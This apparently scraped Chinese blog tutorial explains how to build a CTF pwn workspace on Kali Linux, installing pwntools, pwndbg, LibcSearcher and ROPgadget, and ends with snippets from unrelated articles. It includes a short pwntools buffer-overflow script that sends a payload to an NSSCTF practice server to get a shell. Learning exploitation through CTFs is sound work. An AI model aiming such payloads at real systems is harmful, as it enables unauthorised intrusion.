当前位置: 首页 > news >正文

CTF-PWN环境搭建手册

         工欲善其事必先利其器,作为一名CTF的pwn手,一定要有自己的专用解题环境。本文将详细记录kali下的pwn解题环境的安装过程,B站也会配备配套视频。

目录

安装前的准备工作

虚拟机环境​编辑

VM版本安装教程

1. 下载Kali的VM虚拟机文件

2. 新建一个空白文件夹

3. 解压压缩包

4.打开VMware WorkStation

​编辑 5. 配置虚拟机的硬件

6.启动虚拟机

7.kali汉化步骤

​编辑

8.换源!

 9.中文输入法安装

pwn环境安装

1.pwntools安装

 1、安装指令

2、测试checksec

3、测试pwntools

2.gdb动态调试安装

1、原生gdb安装

 2、pwndbg安装

 3、测试安装

​编辑

3.LibcSearcher安装

4.ROPGadget安装


安装前的准备工作

虚拟机环境

VMware WorkStation

VM版本安装教程

1. 下载Kali的VM虚拟机文件

Kali的VM虚拟机文件

Kali的VM虚拟机文件可在Kali官网下载

kali官网
Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution

 左侧Installer Images为光盘镜像文件,右侧Vitrual Machines是我们这次下载的VM虚拟机文件

 点击这里下载

 最后得到压缩包

2. 新建一个空白文件夹

找一个空间大点的盘,新建这个文件夹,命名就叫Kali好了

3. 解压压缩包

把第一步下载的VM虚拟机文件,解压到当前目录下

对着文件右键解压文件,选中你创建的文件夹。

 

 等待解压完成

解压完成会得到

4.打开VMware WorkStation

点击打开虚拟机

 选中文件中的这个

 5. 配置虚拟机的硬件

打开虚拟机之前,需要调整硬件设置

 点击编辑虚拟机设置

 内存设置,电脑本机的内存的一半即可。

处理器1就行。核取一半(up的CPU只有8核)

硬盘其实60G就完全够用

配置完成记得点击确认保存

6.启动虚拟机

由于这个是配置好的,所以默认密码是kali/kali

 登录之后的样子,全英文有点难受

7.kali汉化步骤

全英文怎么玩!!!给我汉化

右键Kali的桌面,点击Open Terminal Here(在此处打开控制台)

 输入指令

一、进入root模式

sudo -i   #指令输入后,会要求输入kali的密码,也就是kali。注意,kali输密码光标是不会动的哦!

 

 已经入root模式就是红红的

二、更新源(不是换源!)

apt-get update

看到这烦人的下载速度没,这就提醒你该换源(下载服务器)了 ,CTRL+C结束,然后先去第8步换源吧

 

三、设置系统语言

sudo dpkg-reconfigure locales

下方向键一直按着

按到看到zh_CN

选中了之后,不要按回车!!!!!!

先按空格!!!!变成星星,我已踩坑

回车,如果没有zh_cn,证明没听我话,退回去重新操作就行

回车,接下里让它自己跑

重启系统应用汉化

reboot

这个不建议改成汉化的,因为经常要访问 ,英文路径好打

8.换源!

我看这篇写的挺好,那我就偷懒了,记得阿里和清华一起上
Kali 更换源(超详细,附国内优质镜像源地址)_kali换源-CSDN博客

 9.中文输入法安装

1.打开终端,输入以下命令:root权限哦

apt-get install ibus ibus-pinyin  

记得点Y

reboot #重启

右上角切换

pwn环境安装

1.pwntools安装

 1、安装指令

进入root

sudo -i

安装指令 

sudo pip3 install pwntools

2、测试checksec

测试题目位置
NSSCTF | 在线CTF平台

把附件拖到kali中,重命名为pwn1,方便写指令。指令要在桌面路径执行哦。

checksec pwn1

3、测试pwntools

from pwn import *
xianyufen=remote("node1.anna.nssctf.cn",28029)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()

我的是这样的

from pwn import *
xianyufen=remote("node4.anna.nssctf.cn",28492)#按照服务器地址和端口更改
payload=b'a'*0x2C+p64(0x41348000)
xianyufen.send(payload)
xianyufen.interactive()

在桌面用指令建一个python脚本

vim attack.py 

然后就可以右键编辑了,用Mousepad打开

指令粘贴进去

控制台运行一下

python3 attack.py

再输个ls,即可看到flag,工具已正常安装

2.gdb动态调试安装

1、原生gdb安装

sudo apt install gdb

 2、pwndbg安装

访问github,获取安装指令
GitHub - pwndbg/pwndbg: Exploit Development and Reverse Engineering with GDB Made Easy

 安装指令

# 下载仓库
git clone https://github.com/pwndbg/pwndbg

会得到pwndbg项目文件夹 

# 移动到文件夹下
cd pwndbg# 可以用ls看一下当前目录下的文件

# 启动安装脚本
./setup.sh

安装时间会有点久

 

 3、测试安装

cd ../ #回到桌面
gdb pwn1   #上一节的栈文件,拿来测试

 显示的是pwndbg就对了,打个断点玩一下

b main  #main函数打个断点

quit  #退出

温馨提示:pwndbg那个文件夹别删除!

3.LibcSearcher安装

旧版LibcSearcher 安装发现报错   GitHub - lieanu/LibcSearcher: glibc offset search for ctf.

更换别的版本

项目地址如下:https://github.com/dev2ero/LibcSearcher

yH5BAAAAAAALAAAAAAOAA4AAAIMhI+py+0Po5y02qsKADs=

wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==

安装指令

pip3 install LibcSearcher

代替在线工具 

4.ROPGadget安装

sudo pip install capstone

正常应该是successfully,但我这里好像在前面已经装好了 

 载项目

git clone https://github.com/JonathanSalwan/ROPgadget.git

移动至项目文件夹下

cd ROPgadget

 

安装指令

sudo python3 setup.py install

相关文章:

CTF-PWN环境搭建手册

工欲善其事必先利其器,作为一名CTF的pwn手,一定要有自己的专用解题环境。本文将详细记录kali下的pwn解题环境的安装过程,B站也会配备配套视频。 目录 安装前的准备工作 虚拟机环境​编辑 VM版本安装教程 1. 下载Kali的VM虚拟机文件 2. 新…...

Nginx安装配置与SSL证书安装部署

一、Nginx Nginx是一款高性能的开源Web服务器和反向代理服务器,被广泛用于构建现代化的Web应用和提供静态内容。 nginx官网 这里下载nginx-1.24.0-zip Nginx是一款高性能的开源Web服务器和反向代理服务器,被广泛用于构建现代化的Web应用和提供静态内…...

高性能面试八股文之编译流程程序调度

1. C的编译流程 C语言程序的编译过程通常包括预处理(Preprocessing)、编译(Compilation)、汇编(Assembly)、链接(Linking)四个主要阶段。下面是这些阶段的详细说明: 1.…...

opencv的MinGW-W64编译

最近使用Qt,需要用到opencv,安装详情参考下面这个网址,写的挺好: opencv的MinGW-W64编译 - 知乎 我电脑安装Qt中自带了MinGW,所以不需要像上面网址中的下载MinGw,只需要将Qt中自带的MinGW添加到环境变量即可,如&…...

在Go编程中调用外部命令的几种场景

1.摘要 在很多场合, 使用Go语言需要调用外部命令来完成一些特定的任务, 例如: 使用Go语言调用Linux命令来获取执行的结果,又或者调用第三方程序执行来完成额外的任务。在go的标准库中, 专门提供了os/exec包来对调用外部程序提供支持, 本文将对调用外部命令的几种使用方法进行总…...

python学习:break用法详解

嗨喽,大家好呀~这里是爱看美女的茜茜呐 在执行while循环或者for循环时,只要循环条件满足,程序会一直执行循环体。 但在某些场景,我们希望在循环结束前就强制结束循环。 Python中有两种强制结束循环的方法: continue语…...

【算法萌新闯力扣】:找到所有数组中消失对数字

力扣热题:找到所有数组中消失对数字 开篇 这两天刚交了蓝桥杯的报名费,刷题的积极性高涨。算上打卡题,今天刷了10道算法题了,题目都比较简单,挑选了一道还不错的题目与大家分享。 题目链接:448.找到所有数组中消失对…...

Node.js 安装配置

文章目录 安装检测Node是否可用 安装 首先我们需要从官网下载Node安装包:Node.Js中文网,下载后双击安装没有什么特殊的地方,安装路径默认是C盘,不想安装C盘的话可以选择一下其他的盘符。安装完成以后可以不用配置环境变量,Node安装已经自动给…...

前端JS 使用input完成文件上传操作,并对文件进行类型转换

使用input实现文件上传 // 定义一个用于文件上传的按钮<input type"file" name"upload1" />// accept属性用于定义允许上传的文件类型&#xff0c; onchange用于绑定文件上传之后的相应函数<input type"file" name"upload2"…...

探索AI交互:Python与ChatGPT的完美结合!

大家好&#xff01;我是爱摸鱼的小鸿&#xff0c;人生苦短&#xff0c;我用Python&#xff01;关注我&#xff0c;收看技术干货。 随着人工智能的迅速发展&#xff0c;AI交互正成为技术领域的一大亮点。在这个过程中&#xff0c;Python编程语言和ChatGPT模型的结合展现出强大的…...

CI/CD - jenkins

目录 一、部署 1、简介 2、部署 二、配置 三、实时触发 四、自动化构建docker镜像 五、通过ssh插件交付任务 六、添加jenkins节点 七、RBAC 八、pipeline 九、jenkins结合ansible参数化构建 1、安装ansible 2、新建gitlab项目 3、jenkins新建项目playbook 一、部…...

【【萌新的SOC学习之 VDMA 彩条显示实验之一】】

萌新的SOC学习之 VDMA 彩条显示实验之一 实验任务 &#xff1a; 本章的实验任务是 PS写彩条数据至 DDR3 内存中 然后通过 VDMA IP核 将彩条数据显示在 RGB LCD 液晶屏上 下面是本次实验的系统框图 VDMA 通过 HP接口 与 PS端的 DDR 存储器 进行交互 因为 VDMA 出来的是 str…...

相机通用类之海康相机,软触发硬触发(飞拍),并输出halcon格式对象

//在此之前可以先浏览我编写的通用上位机类&#xff0c;更方便理解 https://blog.csdn.net/m0_51559565/article/details/134403745最近完成一个关于海康采图的demo&#xff0c;记录并说明用法。 先上代码。using System; using System.Collections.Generic; using System.Runt…...

linux时间调整

查看当前系统时间 [rootVM-12-12-centos ~]# date Sat Nov 18 16:09:11 CST 2023 Sat&#xff1a;表示星期六Saturday的缩写 Nov&#xff1a;表示十一月November的缩写 18&#xff1a;表示日期18号 16:09:11&#xff1a;时间 CST&#xff1a;China Standard Time中国标准…...

C++模版初阶

泛型编程 如下的交换函数中&#xff0c;它们只有类型的不同&#xff0c;应该怎么实现一个通用的交换函数呢&#xff1f; void Swap(int& left, int& right) {int temp left;left right;right temp; }void Swap(double& left, double& right) {double temp…...

​软考-高级-系统架构设计师教程(清华第2版)【第20章 系统架构设计师论文写作要点(P717~728)-思维导图】​

软考-高级-系统架构设计师教程&#xff08;清华第2版&#xff09;【第20章 系统架构设计师论文写作要点&#xff08;P717~728&#xff09;-思维导图】 课本里章节里所有蓝色字体的思维导图...

Go 语言结构体验证详解:validate 标签与自定义规则

介绍 Go 语言中&#xff0c;结构体验证是保障数据完整性和正确性的重要手段之一。本文将深入探讨 validate 标签的使用方式&#xff0c;并介绍如何结合验证库 go-playground/validator 进行自定义验证规则。 安装与导入验证库 首先&#xff0c;请确保已安装验证库&#xff1a…...

​软考-高级-系统架构设计师教程(清华第2版)【第19章 大数据架构设计理论与实践 (P691~716)-思维导图】​

软考-高级-系统架构设计师教程&#xff08;清华第2版&#xff09;【第19章 大数据架构设计理论与实践 &#xff08;P691~716&#xff09;-思维导图】 课本里章节里所有蓝色字体的思维导图...

深度学习YOLOv5车辆颜色识别检测 - python opencv 计算机竞赛

文章目录 1 前言2 实现效果3 CNN卷积神经网络4 Yolov56 数据集处理及模型训练5 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习YOLOv5车辆颜色识别检测 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0…...

c语言-浅谈指针(3)

文章目录 1.字符指针变量常见的字符指针初始化另一种字符指针初始化例&#xff1a; 2.数组指针变量什么是数组指针变量数组指针变量创建数组指针变量初始化例&#xff08;二维数组传参的本质&#xff09; 3.函数指针变量什么是函数指针变量呢&#xff1f;函数指针变量创建函数指…...

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站&#xff0c;会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后&#xff0c;网站没有变化的情况。 不熟悉siteground主机的新手&#xff0c;遇到这个问题&#xff0c;就很抓狂&#xff0c;明明是哪都没操作错误&#x…...

RocketMQ延迟消息机制

两种延迟消息 RocketMQ中提供了两种延迟消息机制 指定固定的延迟级别 通过在Message中设定一个MessageDelayLevel参数&#xff0c;对应18个预设的延迟级别指定时间点的延迟级别 通过在Message中设定一个DeliverTimeMS指定一个Long类型表示的具体时间点。到了时间点后&#xf…...

蓝桥杯 2024 15届国赛 A组 儿童节快乐

P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡&#xff0c;轻快的音乐在耳边持续回荡&#xff0c;小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下&#xff0c;六一来了。 今天是六一儿童节&#xff0c;小蓝老师为了让大家在节…...

React19源码系列之 事件插件系统

事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

tree 树组件大数据卡顿问题优化

问题背景 项目中有用到树组件用来做文件目录&#xff0c;但是由于这个树组件的节点越来越多&#xff0c;导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多&#xff0c;导致的浏览器卡顿&#xff0c;这里很明显就需要用到虚拟列表的技术&…...

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;使用DevEco Studio作为开发工具&#xff0c;采用Java语言实现&#xff0c;包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

Xen Server服务器释放磁盘空间

disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...

SQL慢可能是触发了ring buffer

简介 最近在进行 postgresql 性能排查的时候,发现 PG 在某一个时间并行执行的 SQL 变得特别慢。最后通过监控监观察到并行发起得时间 buffers_alloc 就急速上升,且低水位伴随在整个慢 SQL,一直是 buferIO 的等待事件,此时也没有其他会话的争抢。SQL 虽然不是高效 SQL ,但…...

Unity UGUI Button事件流程

场景结构 测试代码 public class TestBtn : MonoBehaviour {void Start(){var btn GetComponent<Button>();btn.onClick.AddListener(OnClick);}private void OnClick(){Debug.Log("666");}}当添加事件时 // 实例化一个ButtonClickedEvent的事件 [Formerl…...

阿里云Ubuntu 22.04 64位搭建Flask流程(亲测)

cd /home 进入home盘 安装虚拟环境&#xff1a; 1、安装virtualenv pip install virtualenv 2.创建新的虚拟环境&#xff1a; virtualenv myenv 3、激活虚拟环境&#xff08;激活环境可以在当前环境下安装包&#xff09; source myenv/bin/activate 此时&#xff0c;终端…...